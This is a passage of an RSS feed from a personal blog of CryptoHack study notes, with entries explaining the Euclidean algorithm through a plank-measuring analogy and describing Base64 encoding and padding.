&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> plain &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;_&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>print(plain)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Modular Arithmetic</title><link>https://panman4040.github.io/training/cryptohack/modular_arithmetic/</link><pubDate>Mon, 04 May 2026 11:58:16 +0800</pubDate><guid>https://panman4040.github.io/training/cryptohack/modular_arithmetic/</guid><description>&lt;h1 id="modular-arithmetic">Modular Arithmetic&lt;/h1>
&lt;p>This module (no pun intended) introduces modular arithmetic, which is a critical mathematical edge for cryptography. Here are my important remarks:&lt;/p>
&lt;h2 id="euclidean-algorithm">Euclidean Algorithm&lt;/h2>
&lt;p>This is a very famous algorithm designed to calculate the GCD of two integers. I initially struggled trying to understand the intuition, but the following analogy helps:&lt;/p>
&lt;p>You are a carpenter. You have two wooden planks of different lengths, say Plank A is 105 inches long, Plank B 24. Our goal is to find a &amp;ldquo;ruler&amp;rdquo; that measures perfectly both plank from end-to-end.&lt;/p></description></item><item><title>Introduction to CryptoHack</title><link>https://panman4040.github.io/training/cryptohack/introduction_to_cryptohack/</link><pubDate>Mon, 27 Apr 2026 07:23:16 +0700</pubDate><guid>https://panman4040.github.io/training/cryptohack/introduction_to_cryptohack/</guid><description>&lt;h1 id="introduction-to-cryptohack">Introduction to CryptoHack&lt;/h1>
&lt;p>Since this is an introduction, these are pretty straightforward stuffs. But there are a few notes to consider:&lt;/p>
&lt;h2 id="base64">Base64&lt;/h2>
&lt;p>This allows us to represent binary data as an ASCII string using an alphabet of 64 characters. One character of a Base64 string encodes 6 binary digits (bits), and so 4 characters of Base64 encode three 8-bit bytes.&lt;/p>
&lt;p>There is also padding introduced when the number of bits is not divisible by 6. Read more here: &lt;a href="https://en.wikipedia.org/wiki/Base64#Examples">https://en.wikipedia.org/wiki/Base64#Examples&lt;/a>&lt;/p></description></item></channel></rss>